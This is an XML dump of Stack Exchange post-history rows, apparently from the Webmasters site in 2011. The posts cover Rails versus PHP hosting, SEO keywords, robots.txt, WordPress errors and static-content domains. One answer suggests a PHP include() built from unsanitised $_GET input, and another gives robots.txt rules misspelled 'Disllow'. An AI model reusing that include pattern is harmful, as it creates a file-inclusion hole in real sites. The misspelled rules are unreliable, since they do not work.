  <row Id="22494" PostHistoryTypeId="2" PostId="10085" RevisionGUID="4bac2f83-bfb7-4b2d-9966-5ca910b70f07" CreationDate="2011-03-04T22:49:23.117" UserDisplayName="rcd" Text="Currently, I have a reseller account with the company HostGator.  I design websites, which up until now have occasionally been wrapped in Wordpress CMSs and the like (PHP applications).  I then sell hosting (of the site I've designed) to the client, which is pretty simple, in that I can simply click a button and add a new shared hosting account/site with whatever settings I want.  Furthermore, I then utilize WHMCS to automate billing and account management. &#xD;&#xA;&#xD;&#xA;It's a nice package and pretty simple.  I pay something like $25 a month, and can sell a hundred accounts under this (because my clients bandwidth requirements are low).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I am finding the need to develop more customized applications, including a minimalist CMS and several proprietary things.  I soon anticipate developing these apps for clients as well.  Thus, I've spent the past few months learning Rails, and it's coming along well now.  &#xD;&#xA;&#xD;&#xA;The thing that has nagged at me all along, though, is the deployment issue.  I can't wrap my brain around it.  It seems like all of the popular options (Heroku, etc) have nice automation with git and are set up in the &quot;Rails Way&quot;.  I get that (sort of).  But it's terribly expensive... a single dyno, a helper, and the cheapest database (which they say is mainly suitable for testing) that isn't limited to 5MB runs $51.  This is for ONE app!!!  Throw in a &quot;production&quot; DB and you're over $200.  This is like... the same prices as getting a server somewhere, right?  &#xD;&#xA;&#xD;&#xA;Meanwhile, going back to what I guess is a &quot;traditional&quot; hosting environment with Hostgator, their server only has Ruby 1.8.7 and Rails 2.3.5... No Rails 3.  AND, no Passenger (not that I really understand the difference in CGI or mod_rails or whatever, but they say Passenger is the simplest).  So I'm to understand that if I build an app in Rails 3, it won't run at all on this host?  But damn, I already have these accounts under my reseller account there, all running static html and/or PHP stuff, right?  So what now?  How do I get all of this under one simple (and affordable) roof?&#xD;&#xA;&#xD;&#xA;Forgive my ignorance, but I just don't get it.  Managing a VPS is cool and all, but entails learning server admin stuff and security...  And it's expensive.  I get that a shared and/or reseller &quot;server-based&quot; (forgive the terminology) may be inadequate for large-scale apps that use a lot of bandwidth...  But what about for those of us who are building real (but small and low bandwidth) apps (with Rails) and who want to deploy them simply, cheaply, using the same conceptual approach as PHP?  Even after learning all of this Ruby and Rails stuff for months, I'm questioning whether it's worth it when it comes to deployment.  I want to build a small app, upload it to my home directory on a shared server account, and just make it run.  Why should that be so hard?  Am I just choosing the wrong language/framework?&#xD;&#xA;&#xD;&#xA;Forgive my ignorance in the subject; these questions are not rhetorical; just trying to learn here.  &#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;1) I'd appreciate if someone could give me a good rundown of how to understand deployment in Rails vs. PHP. &#xD;&#xA;&#xD;&#xA;2) I'd appreciate if someone could address my issue with running a hosting/web business around reseller hosting (Hostgator) while also being able to host Rails apps.  Can it be done?  And how can a company like Hostgator completely ignore what's current in Rails/Ruby?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="22495" PostHistoryTypeId="1" PostId="10085" RevisionGUID="4bac2f83-bfb7-4b2d-9966-5ca910b70f07" CreationDate="2011-03-04T22:49:23.117" UserDisplayName="rcd" Text="Can someone explain the true landscape of Rails vs PHP deployment, particularly within the context of Reseller-based web hosting (e.g., Hostgator)?" />
  <row Id="22496" PostHistoryTypeId="3" PostId="10085" RevisionGUID="4bac2f83-bfb7-4b2d-9966-5ca910b70f07" CreationDate="2011-03-04T22:49:23.117" UserDisplayName="rcd" Text="&lt;php&gt;&lt;ruby-on-rails&gt;&lt;web-hosting&gt;" />
  <row Id="22497" PostHistoryTypeId="17" PostId="10085" RevisionGUID="efef23c6-9767-4c5d-ac0c-f1ce13a65b8c" CreationDate="2011-03-05T05:17:54.047" UserId="-1" Comment="from http://stackoverflow.com/questions/5200136/can-someone-explain-the-true-landscape-of-rails-vs-php-deployment-particularly-w" Text="" />
  <row Id="22501" PostHistoryTypeId="5" PostId="10084" RevisionGUID="5dd14ebc-b5c1-41b0-a872-6f12167a6264" CreationDate="2011-03-05T05:22:46.457" UserId="5718" Comment="added 138 characters in body" Text="You should use a permanent redirect to tell GoogleBot and others where the page has moved to.&#xD;&#xA;&#xD;&#xA;If the page no longer exists at all then you can add entries in robots.txt to tell bots not to access the missing page:&#xD;&#xA;&#xD;&#xA;    User-agent: *     &#xD;&#xA;    Disallow: /extraNeus.php&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22502" PostHistoryTypeId="25" PostId="10085" RevisionGUID="6ba7213b-225b-47ee-9e8d-103a203063eb" CreationDate="2011-03-05T05:23:19.543" Comment="http://twitter.com/#!/StackWebmasters/status/43904399776546816" />
  <row Id="22503" PostHistoryTypeId="2" PostId="10090" RevisionGUID="07c9b6d7-09e0-47a9-bec0-f893ca62f848" CreationDate="2011-03-05T06:39:12.560" UserId="5857" Text="I'm new at SEO and keyword research. I am using Market Samurai as my research tool, and I was wondering if I could ask for your help to identify the best key word to target for my niche. I do plan on incorporating all of them into my site, but I wanted to start with one. If you could give me your input on these keywords, I would appreciate it. This is all new to me :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm too new to post pictures, but here are my keywords (Searches, SEO Traffic, and SEO Value / Day):&#xD;&#xA;&#xD;&#xA;    Searches | SEO Traffic  |  PBR  | SEO Value | Average PR/Backlinks of Current Top 10   &#xD;&#xA;&#xD;&#xA;    1: 730   | 307          |  20%   | 2311.33   | 1.9 / 7k-60k&#xD;&#xA;    2: 325   | 137          |  24%   | 822.94    | 2.3 / 7k-60k&#xD;&#xA;    3: 398   | 167          |  82%   | 589.79    | 1.6 / 7k-60k&#xD;&#xA;&#xD;&#xA;I'm wondering if the PBR (Phrase-to-broad) value of #1 is too low. It seems like the best value because the SEOV is crazy high. That is like $70k a month. #3 has the highest PBR, but also the lowest SEOV. #2 doesn't seem worth it because of the PR competetion. Might be a little too hard to get into the top page of Google. &#xD;&#xA;&#xD;&#xA;I'm wondering which keywords to target, and if I should be looking at any other metric to see if this is a profitable niche to jump into.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="22504" PostHistoryTypeId="1" PostId="10090" RevisionGUID="07c9b6d7-09e0-47a9-bec0-f893ca62f848" CreationDate="2011-03-05T06:39:12.560" UserId="5857" Text="SEO Keyword Research Help" />
  <row Id="22505" PostHistoryTypeId="3" PostId="10090" RevisionGUID="07c9b6d7-09e0-47a9-bec0-f893ca62f848" CreationDate="2011-03-05T06:39:12.560" UserId="5857" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="22506" PostHistoryTypeId="2" PostId="10091" RevisionGUID="9de87867-46d3-4021-ab8e-8c50f6a2f534" CreationDate="2011-03-05T06:15:30.147" UserDisplayName="James" Text="I'm new at SEO and keyword research. I am using Market Samurai as my research tool, and I was wondering if I could ask for your help to identify the best key word to target for my niche. I do plan on incorporating all of them into my site, but I wanted to start with one. If you could give me your input on these keywords, I would appreciate it. This is all new to me :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm too new to post pictures, but here are my keywords (Searches, SEO Traffic, and SEO Value / Day):&#xD;&#xA;&#xD;&#xA;    Searches | SEO Traffic  |  PBR  | SEO Value | Average PR/Backlinks of Current Top 10   &#xD;&#xA;&#xD;&#xA;    1: 730   | 307          |  20%   | 2311.33   | 1.9 / 7k-60k&#xD;&#xA;    2: 325   | 137          |  24%   | 822.94    | 2.3 / 7k-60k&#xD;&#xA;    3: 398   | 167          |  82%   | 589.79    | 1.6 / 7k-60k&#xD;&#xA;&#xD;&#xA;I'm wondering if the PBR (Phrase-to-broad) value of #1 is too low. It seems like the best value because the SEOV is crazy high. That is like $70k a month. #3 has the highest PBR, but also the lowest SEOV. #2 doesn't seem worth it because of the PR competetion. Might be a little too hard to get into the top page of Google. &#xD;&#xA;&#xD;&#xA;I'm wondering which keywords to target, and if I should be looking at any other metric to see if this is a profitable niche to jump into.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="22507" PostHistoryTypeId="1" PostId="10091" RevisionGUID="9de87867-46d3-4021-ab8e-8c50f6a2f534" CreationDate="2011-03-05T06:15:30.147" UserDisplayName="James" Text="SEO Keyword Research" />
  <row Id="22508" PostHistoryTypeId="3" PostId="10091" RevisionGUID="9de87867-46d3-4021-ab8e-8c50f6a2f534" CreationDate="2011-03-05T06:15:30.147" UserDisplayName="James" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="22509" PostHistoryTypeId="17" PostId="10091" RevisionGUID="594db2f8-067a-4c4d-b689-85058fb81338" CreationDate="2011-03-05T06:40:12.927" UserId="-1" Comment="from http://stackoverflow.com/questions/5202094/seo-keyword-research" Text="" />
  <row Id="22511" PostHistoryTypeId="2" PostId="10092" RevisionGUID="a06223f5-0173-4433-b1bf-35075e07b4cc" CreationDate="2011-03-05T07:14:31.590" UserDisplayName="user645804" Text="Well we have a site and want to upgrade it. We already made it available on mobile devices. Created FB book page and... what else? are there any other actions to make site up-to-date?" />
  <row Id="22512" PostHistoryTypeId="1" PostId="10092" RevisionGUID="a06223f5-0173-4433-b1bf-35075e07b4cc" CreationDate="2011-03-05T07:14:31.590" UserDisplayName="user645804" Text="what will you do if you're having long time site to promote it..." />
  <row Id="22513" PostHistoryTypeId="3" PostId="10092" RevisionGUID="a06223f5-0173-4433-b1bf-35075e07b4cc" CreationDate="2011-03-05T07:14:31.590" UserDisplayName="user645804" Text="&lt;sites&gt;" />
  <row Id="22514" PostHistoryTypeId="17" PostId="10092" RevisionGUID="f6459ae3-d632-4b6e-a517-53a36e54ba10" CreationDate="2011-03-05T07:31:44.003" UserId="-1" Comment="from http://stackoverflow.com/questions/5202336/what-will-you-do-if-youre-having-long-time-site-to-promote-it" Text="" />
  <row Id="22515" PostHistoryTypeId="2" PostId="10093" RevisionGUID="5a3c812e-1f18-492e-83de-88addac3bb34" CreationDate="2011-03-05T08:00:40.190" UserDisplayName="Benny" Text="I would use this:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disllow: /*.zip$&#xD;&#xA;    Disllow: /*.doc$&#xD;&#xA;    Disllow: /*css$&#xD;&#xA;    Disllow: /anyother_download_file$&#xD;&#xA;    Disllow: /tag/&#xD;&#xA;    Disllow: /category/&#xD;&#xA;    Disllow /wp-*&#xD;&#xA;&#xD;&#xA;Hope you find this helpful." />
  <row Id="22516" PostHistoryTypeId="25" PostId="10092" RevisionGUID="8ab31ad4-4b08-4c38-a21f-6b6cecfe6246" CreationDate="2011-03-05T08:23:19.583" Comment="http://twitter.com/#!/StackWebmasters/status/43949699320913920" />
  <row Id="22517" PostHistoryTypeId="2" PostId="10094" RevisionGUID="033856ff-92c4-4e68-acf1-327e17890cf0" CreationDate="2011-03-05T10:08:25.550" UserDisplayName="user5859" Text="You can also take a look at [Unused-CSS.com][1] This tool will explore your pages and build an optimized CSS files without the unused selectors&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unused-css.com" />
  <row Id="22518" PostHistoryTypeId="2" PostId="10095" RevisionGUID="982f4f28-52bb-46be-810d-3aa0e9f536f8" CreationDate="2011-03-05T10:21:18.300" UserId="1036" Text="Please share the best practices / standards used in PHP development. Also, in whatever way a PHP site can be optimized?" />
  <row Id="22519" PostHistoryTypeId="1" PostId="10095" RevisionGUID="982f4f28-52bb-46be-810d-3aa0e9f536f8" CreationDate="2011-03-05T10:21:18.300" UserId="1036" Text="What are all the best practices used for PHP? What are all the ways to optimize a PHP site/page?" />
  <row Id="22520" PostHistoryTypeId="3" PostId="10095" RevisionGUID="982f4f28-52bb-46be-810d-3aa0e9f536f8" CreationDate="2011-03-05T10:21:18.300" UserId="1036" Text="&lt;web-development&gt;&lt;php&gt;&lt;optimization&gt;&lt;standards&gt;&lt;best-practices&gt;" />
  <row Id="22521" PostHistoryTypeId="25" PostId="10095" RevisionGUID="aa841b81-a0cc-40e8-9353-5b6efaaf0f60" CreationDate="2011-03-05T11:23:19.517" Comment="http://twitter.com/#!/StackWebmasters/status/43994997049143296" />
  <row Id="22522" PostHistoryTypeId="2" PostId="10096" RevisionGUID="c21d754a-d6fd-47a1-98d2-356ed7ce3828" CreationDate="2011-03-05T13:05:48.857" UserId="4180" Text="Is there a way to rewrite&#xD;&#xA;&#xD;&#xA;    http://localhost/embed/player.swf?file=http://www.youtube.com/watch?v=7yKDhm4_-90&#xD;&#xA;&#xD;&#xA;to something smaller?&#xD;&#xA;&#xD;&#xA;or is there a way to change this into&#xD;&#xA;&#xD;&#xA;    http://localhost/embed/script.php?id=7yKDhm4_-90&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What can i do?" />
  <row Id="22523" PostHistoryTypeId="1" PostId="10096" RevisionGUID="c21d754a-d6fd-47a1-98d2-356ed7ce3828" CreationDate="2011-03-05T13:05:48.857" UserId="4180" Text="Mod Rewrite question" />
  <row Id="22524" PostHistoryTypeId="3" PostId="10096" RevisionGUID="c21d754a-d6fd-47a1-98d2-356ed7ce3828" CreationDate="2011-03-05T13:05:48.857" UserId="4180" Text="&lt;php&gt;&lt;htaccess&gt;" />
  <row Id="22525" PostHistoryTypeId="10" PostId="10095" RevisionGUID="cf39b0c5-76bd-4bc2-88d2-01d2864ddd58" CreationDate="2011-03-05T13:50:06.150" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22532" PostHistoryTypeId="25" PostId="10096" RevisionGUID="26211afe-7340-4eab-bc0d-04aede822a46" CreationDate="2011-03-05T14:23:19.380" Comment="http://twitter.com/#!/StackWebmasters/status/44040295331016705" />
  <row Id="22533" PostHistoryTypeId="2" PostId="10098" RevisionGUID="1984c815-2f15-4f08-af83-c54258a83353" CreationDate="2011-03-05T14:50:37.513" UserId="4142" Text="it should be possible with either method; I'll post a possible PHP solution.&#xD;&#xA;&#xD;&#xA;    include(&quot;player.swf?file=http://www.youtube.com/watch?v={$_GET['id']}&quot;);&#xD;&#xA;&#xD;&#xA;This is a very simplified solution, so you would still have to handle filtering your input, escaping output, and empty IDs if you wanted to use it in a production environment." />
  <row Id="22534" PostHistoryTypeId="2" PostId="10099" RevisionGUID="53d0429c-c36c-4893-9020-e514c3ffd023" CreationDate="2011-03-05T15:03:23.457" UserId="4142" Text="Since you seem to like the StackExchange model, I'd check out [Stack Overflow Careers][1]. You can post the job on there, and get a good idea of who the applicant is based on their reputation on Stack Overflow.&#xD;&#xA;&#xD;&#xA;There is one caveat, though - posting jobs costs money. I believe Jeff does this mostly to keep out the noise (and possibly da funk), but it's something that you might want to take into consideration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://careers.stackoverflow.com/" />
  <row Id="22535" PostHistoryTypeId="2" PostId="10100" RevisionGUID="1beeaf47-b624-405b-851e-5f43ce402c34" CreationDate="2011-03-05T15:15:18.897" UserId="5026" Text="I had a working installation of WordPress, and I recently encountered an issue where when I tried to login to the back-end, the browser would redirect to the login URL of the previous domain WordPress was installed on.&#xD;&#xA;&#xD;&#xA;I fixed this by reinstalling WordPress, and I can now login to the backend, but any new posts I make, or old posts I have generate 404 errors.&#xD;&#xA;&#xD;&#xA;Additionally, if I try to navigate to any category page, I again receive a 404 error.&#xD;&#xA;&#xD;&#xA;I have looked at the wp_posts table of my database, and the GUID field each contains the correct domain name and URL structure.&#xD;&#xA;&#xD;&#xA;What should I be checking here?&#xD;&#xA;&#xD;&#xA;[Site in question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.superlogical.net" />
  <row Id="22536" PostHistoryTypeId="1" PostId="10100" RevisionGUID="1beeaf47-b624-405b-851e-5f43ce402c34" CreationDate="2011-03-05T15:15:18.897" UserId="5026" Text="New Wordpress posts generate 404 error." />
  <row Id="22537" PostHistoryTypeId="3" PostId="10100" RevisionGUID="1beeaf47-b624-405b-851e-5f43ce402c34" CreationDate="2011-03-05T15:15:18.897" UserId="5026" Text="&lt;wordpress&gt;" />
  <row Id="22538" PostHistoryTypeId="2" PostId="10101" RevisionGUID="99c99759-2ab7-440d-9f9f-c83210a5dc67" CreationDate="2011-03-05T15:24:01.790" UserId="5026" Text="Thanks for your answers folks.  After some consideration, I don't think I really need help desk software.  I will just arrange a contact form, so I can later contact them back and arrange service.  " />
  <row Id="22539" PostHistoryTypeId="5" PostId="10091" RevisionGUID="5a0d1a28-6166-4fb3-9bc2-cd1d6e7937b6" CreationDate="2011-03-05T15:29:39.303" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO Keyword Research Help](http://webmasters.stackexchange.com/questions/10090/seo-keyword-research-help)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi Everyone,&#xD;&#xA;&#xD;&#xA;I'm new at SEO and keyword research. I am using Market Samurai as my research tool, and I was wondering if I could ask for your help to identify the best key word to target for my niche. I do plan on incorporating all of them into my site, but I wanted to start with one. If you could give me your input on these keywords, I would appreciate it. This is all new to me :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm too new to post pictures, but here are my keywords (Searches, SEO Traffic, and SEO Value / Day):&#xD;&#xA;&#xD;&#xA;    Searches | SEO Traffic  |  PBR  | SEO Value | Average PR/Backlinks of Current Top 10   &#xD;&#xA;&#xD;&#xA;    1: 730   | 307          |  20%   | 2311.33   | 1.9 / 7k-60k&#xD;&#xA;    2: 325   | 137          |  24%   | 822.94    | 2.3 / 7k-60k&#xD;&#xA;    3: 398   | 167          |  82%   | 589.79    | 1.6 / 7k-60k&#xD;&#xA;&#xD;&#xA;I'm wondering if the PBR (Phrase-to-broad) value of #1 is too low. It seems like the best value because the SEOV is crazy high. That is like $70k a month. #3 has the highest PBR, but also the lowest SEOV. #2 doesn't seem worth it because of the PR competetion. Might be a little too hard to get into the top page of Google. &#xD;&#xA;&#xD;&#xA;I'm wondering which keywords to target, and if I should be looking at any other metric to see if this is a profitable niche to jump into.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="22540" PostHistoryTypeId="10" PostId="10091" RevisionGUID="d0747022-7a47-4eab-8885-03058db36b1e" CreationDate="2011-03-05T15:29:38.930" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22541" PostHistoryTypeId="2" PostId="10102" RevisionGUID="33fa4a60-5c24-42fe-bef8-d43dbc8c0b85" CreationDate="2011-03-05T15:32:09.177" UserId="1253" Text="Check in the wp_options table for the option `siteurl` and make sure it contains the value of your new domain name." />
  <row Id="22543" PostHistoryTypeId="2" PostId="10104" RevisionGUID="d81ff077-a443-4fdc-8fa1-4951dc573c5e" CreationDate="2011-03-05T16:00:32.780" UserId="1188" Text="I'm in need of a shopping cart that I can sell licensed photos. I know some carts like Magento support downloadable products, but its not really optimized for photos. I was wonder if anyone knows of a good solutions out there. &#xD;&#xA;&#xD;&#xA;Thanks for looking!" />
  <row Id="22544" PostHistoryTypeId="1" PostId="10104" RevisionGUID="d81ff077-a443-4fdc-8fa1-4951dc573c5e" CreationDate="2011-03-05T16:00:32.780" UserId="1188" Text="Looking for software that has a shopping cart where I can sell licensed photos." />
  <row Id="22545" PostHistoryTypeId="3" PostId="10104" RevisionGUID="d81ff077-a443-4fdc-8fa1-4951dc573c5e" CreationDate="2011-03-05T16:00:32.780" UserId="1188" Text="&lt;shopping-cart&gt;&lt;software&gt;&lt;photo-gallery&gt;" />
  <row Id="22546" PostHistoryTypeId="2" PostId="10105" RevisionGUID="36412ad6-c32a-4406-96f5-c95427cb0b5d" CreationDate="2011-03-05T16:44:49.137" UserId="5727" Text="Google audit:&#xD;&#xA;&#xD;&#xA;&gt; Serve static content from a cookieless&#xD;&#xA;&gt; domain (15)&#xD;&#xA;&gt; 2.65KB of cookies were sent with the following static resources. Serve&#xD;&#xA;&gt; these static resources from a domain&#xD;&#xA;&gt; that does not set cookies:&#xD;&#xA;&#xD;&#xA;If my domain is widgets.com, should I set up a img.widgets.com that servers these resources?  How beneficial is this? " />
  <row Id="22547" PostHistoryTypeId="1" PostId="10105" RevisionGUID="36412ad6-c32a-4406-96f5-c95427cb0b5d" CreationDate="2011-03-05T16:44:49.137" UserId="5727" Text="Serving images from different domain" />
  <row Id="22548" PostHistoryTypeId="3" PostId="10105" RevisionGUID="36412ad6-c32a-4406-96f5-c95427cb0b5d" CreationDate="2011-03-05T16:44:49.137" UserId="5727" Text="&lt;images&gt;&lt;page-speed&gt;&lt;image-hosting&gt;" />
  <row Id="22549" PostHistoryTypeId="2" PostId="10106" RevisionGUID="80f12794-1aca-4577-8449-204a23882b6a" CreationDate="2011-03-05T17:05:55.483" UserId="5849" Text="The best reason for doing this that I can think of is for faster page loading. Since you can only download so much from one domain at a time, having your images on a separate domain allows you to load them just a little bit faster. &#xD;&#xA;&#xD;&#xA;And from the note that google gives you, it also appears that your cookies may be impacting your image loading. &#xD;&#xA;&#xD;&#xA;I've done this for really image heavy pages, but not for most normal pages, but if Google things its a good idea, it might be worth a try. " />
  <row Id="22550" PostHistoryTypeId="2" PostId="10107" RevisionGUID="ec976be6-99ce-4518-a7f2-c2f0262d1f5a" CreationDate="2011-03-05T17:09:18.103" UserId="5849" Text="This looks like it could be what you are looking for: http://www.picturespro.com/i/photo_cart/&#xD;&#xA;&#xD;&#xA;It isn't free, so if you were hoping to avoid buying something, this may not be up your alley. &#xD;&#xA;&#xD;&#xA;If this doesn't work for you, try googling &quot;photo shopping cart&quot;. There are other options out there. " />
  <row Id="22551" PostHistoryTypeId="2" PostId="10108" RevisionGUID="de495bbd-db5f-43f1-9b5d-36cdbac445bd" CreationDate="2011-03-05T17:13:14.917" UserId="5849" Text="Try resaving your permalink structure (even if they seem correct). Sometimes when you are messing with wordpress, the htaccess file gets out of wack. I've had a similar issue to what you are describing and resaving the permalinks fixed the problem. " />
  <row Id="22552" PostHistoryTypeId="5" PostId="10105" RevisionGUID="ffbd5601-65be-4858-8510-bf8122ef393b" CreationDate="2011-03-05T17:22:57.517" UserId="5727" Comment="added 128 characters in body" Text="Google audit:&#xD;&#xA;&#xD;&#xA;&gt; Serve static content from a cookieless&#xD;&#xA;&gt; domain (15)&#xD;&#xA;&gt; 2.65KB of cookies were sent with the following static resources. Serve&#xD;&#xA;&gt; these static resources from a domain&#xD;&#xA;&gt; that does not set cookies:&#xD;&#xA;&#xD;&#xA;If my domain is widgets.com, should I set up a img.widgets.com that servers these resources?  How beneficial is this? &#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I setup img.widgets.com to serve images from, and changed all images to this URL.  But I still get that message?" />
  <row Id="22553" PostHistoryTypeId="25" PostId="10100" RevisionGUID="183476a1-d7ed-4719-9a42-a2d148754c22" CreationDate="2011-03-05T17:23:19.650" Comment="http://twitter.com/#!/StackWebmasters/status/44085594208468992" />
  <row Id="22554" PostHistoryTypeId="2" PostId="10109" RevisionGUID="244ac4d5-a31e-4d13-8b3f-3c45f2f7c515" CreationDate="2011-03-05T17:23:46.327" UserId="5849" Text="I would probably attempt to go after the first one. It has the highest SEO Traffic. I wouldn't worry about the low PBR. It's low, but I consider too low to be under 15%. &#xD;&#xA;&#xD;&#xA;Another metric to look at is the SEO competition. This is kind of shown by the pageranks, but I know Market Samurai will give you a number for this. I usually look at the ratio of SEO Traffic to SEO Competition to choose which keyword to target first. " />
  <row Id="22555" PostHistoryTypeId="2" PostId="10110" RevisionGUID="f08f4e0a-16ee-42a5-bffc-41aedcb260e0" CreationDate="2011-03-05T17:28:28.833" UserId="5849" Text="The reason that Googlebot is still trying to hit the page is that there is probably a link to it somewhere. When Google finds a link, it follows it without checking whether it has previous seen a 404 for that page or not. So if this page keeps getting hit, it's probably because of a link. &#xD;&#xA;&#xD;&#xA;I agree with Crayon Violet and suggest that you include the 301 redirect from the old page to the new one. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22556" PostHistoryTypeId="2" PostId="10111" RevisionGUID="82447ac7-3635-4278-9b06-75e047638465" CreationDate="2011-03-05T17:38:46.453" UserId="5849" Text="I have heard that this is okay: http://script.wareseeker.com/PHP/advanced-facebook-clone-1.0.zip/30c4399093 but I have never used it and it is kind of pricey. &#xD;&#xA;&#xD;&#xA;You didn't mention what language you are working in, but I'm guessing PHP since you mentioned phpBB. &#xD;&#xA;&#xD;&#xA;If you are using Wordpress, then Buddypress is by far the best option out there. http://buddypress.org/&#xD;&#xA;&#xD;&#xA;Also, if you are willing to go to a different language. This type of thing is pretty easy to write in Django, if you were to happen to know Python. Here is tutorial on User Profiles in Django: http://www.turnkeylinux.org/blog/django-profile" />
  <row Id="22557" PostHistoryTypeId="2" PostId="10112" RevisionGUID="1cda30e1-6b4e-42b7-84bf-1a266a97a504" CreationDate="2011-03-05T17:41:17.237" UserId="5806" Text="Each time someone **request anything all cookies matching domain are sent**. This adds weight to every request in proportion to how much cookies your site uses.&#xD;&#xA;&#xD;&#xA;Since it seems your site relies heavily on cookies, you visitors should see a speed improvement if you serve images (and any static content, even css/js/etc) from a separate domain.&#xD;&#xA;&#xD;&#xA;Google uses google.com and googlestatic.com which makes it easy to separate resources. &#xD;&#xA;&#xD;&#xA;If you want to use subdomains (or paths) then you have to be more careful specifying your cookies' validity path." />
  <row Id="22558" PostHistoryTypeId="2" PostId="10113" RevisionGUID="cabccca6-3c18-4b7d-81d5-77b4b83c1e2a" CreationDate="2011-03-05T17:46:19.770" UserId="5849" Text="iPhone and iPads don't support flash and the only SSH you get is on either jailbroken (and that isn't very good, or so I have heard) or on a server. There is support for ftp and svn as long as you don't want to actually run the files locally. I use my ipad for edits on the go that I can then upload and view on my server. &#xD;&#xA;&#xD;&#xA;One option is the Nokia Internet Tablet. I own one and it is a completely open version of linux. The keyboard isn't great, so don't expect super fast typing. I have an older version so I can't say whether the new ones except flash, but they do display the browser in none mobile versions. Also, you should have a good basis in linux before getting it as you will be messing with the system to do the more fancy stuff. &#xD;&#xA;&#xD;&#xA;Also, I know that at&amp;t was advertising a tablet Android device. I have never used android for ssh and such, but it can view full web pages. " />
  <row Id="22559" PostHistoryTypeId="2" PostId="10114" RevisionGUID="5806ddfb-8d81-4cbb-a104-0796480aeacd" CreationDate="2011-03-05T17:54:39.603" UserId="5849" Text="I'd make sure that your front page is well optimized to the keyword that you are trying to rank for and that the other page that is currently ranking is not as optimized. You may be mentioning more about the shirts on that subpage. &#xD;&#xA;&#xD;&#xA;One the landing page, make sure that your keyword is in your title, your h1 tags, your image's alt tags (a few, not all of them) and in your meta-keywords and description. Also, you can use the SEO Quake plugin to check your keyword density. You want a density of 2-3% for that phrase. &#xD;&#xA;&#xD;&#xA;YOu meta-tags are in the head section of your website. If your website is static, look in the code for the head. If you are using Wordpress, you can get a plugin that helps you correct this, such as SEO Ultimate. " />
  <row Id="22560" PostHistoryTypeId="2" PostId="10115" RevisionGUID="e567aae5-27c5-485d-ae8d-4d2e7aaa3306" CreationDate="2011-03-05T17:58:06.500" UserId="5849" Text="This happened to me a few weeks ago. I redid a section of my site and then my urls and backlinks dropped to zero. I think it had to do with Google being in the middle of re-analysing my site. I waited a week and they all came back. &#xD;&#xA;&#xD;&#xA;It may also have to do with Google's new algorithm, but that is complete speculation. I'd recommend just waiting to see if the urls come back." />
  <row Id="22561" PostHistoryTypeId="2" PostId="10116" RevisionGUID="48386ad0-fdef-496f-8458-d262978fbc52" CreationDate="2011-03-05T17:52:57.470" UserDisplayName="GX67" Text="This is a recent problem I've been having.&#xD;&#xA;&#xD;&#xA;My site can be accessed from almost everywhere else except from my home IP, where I do most of my editing/updating, etc. I've tested my connection from my school's network, a friend's connection from out of state (multiple states), and through a tethered connection with my friend's Android. It works in all those cases, both viewing, accessing the cPanel, and using FTP.&#xD;&#xA;&#xD;&#xA;Here's the problem that happens to me when I try to view it from my home IP:&#xD;&#xA;&#xD;&#xA;- The page times out in Firefox, IE, and Chrome.&#xD;&#xA;- Using the cmd, I ran tracert and ping, both as failed attempts. Log [here.](http://pastebin.com/rkP5Dc8D)&#xD;&#xA;- [downforeveryoneorjustme.com](http://www.downforeveryoneorjustme.com/wgxstudios.com) says my site is up. So do the other site checkers.&#xD;&#xA;- I can't access my cPanel or FTP accounts.&#xD;&#xA;- I can't access the host site. (I use perfectz.info for hosting, and I can't access their site either.)&#xD;&#xA;&#xD;&#xA;System settings:&#xD;&#xA;&#xD;&#xA;- No firewall enabled.&#xD;&#xA;- Ports are seemingly properly forwarded. (e.g. The ports are open in the router settings, and are open everywhere else.)&#xD;&#xA;- I have an email forwarder set up from the cPanel that **works just fine.** (i.e. I can receive emails sent to that address.&#xD;&#xA;&#xD;&#xA;If any other information is needed, I'll do my best to provide it." />
  <row Id="22562" PostHistoryTypeId="1" PostId="10116" RevisionGUID="48386ad0-fdef-496f-8458-d262978fbc52" CreationDate="2011-03-05T17:52:57.470" UserDisplayName="GX67" Text="Cannot access personal website from home IP. More details inside." />
  <row Id="22563" PostHistoryTypeId="3" PostId="10116" RevisionGUID="48386ad0-fdef-496f-8458-d262978fbc52" CreationDate="2011-03-05T17:52:57.470" UserDisplayName="GX67" Text="&lt;ip&gt;&lt;address&gt;&lt;sites&gt;" />
  <row Id="22564" PostHistoryTypeId="17" PostId="10116" RevisionGUID="ff169269-788d-484c-bc3c-9a3d82d10e6e" CreationDate="2011-03-05T17:58:58.947" UserId="-1" Comment="from http://stackoverflow.com/questions/5205628/cannot-access-personal-website-from-home-ip-more-details-inside" Text="" />
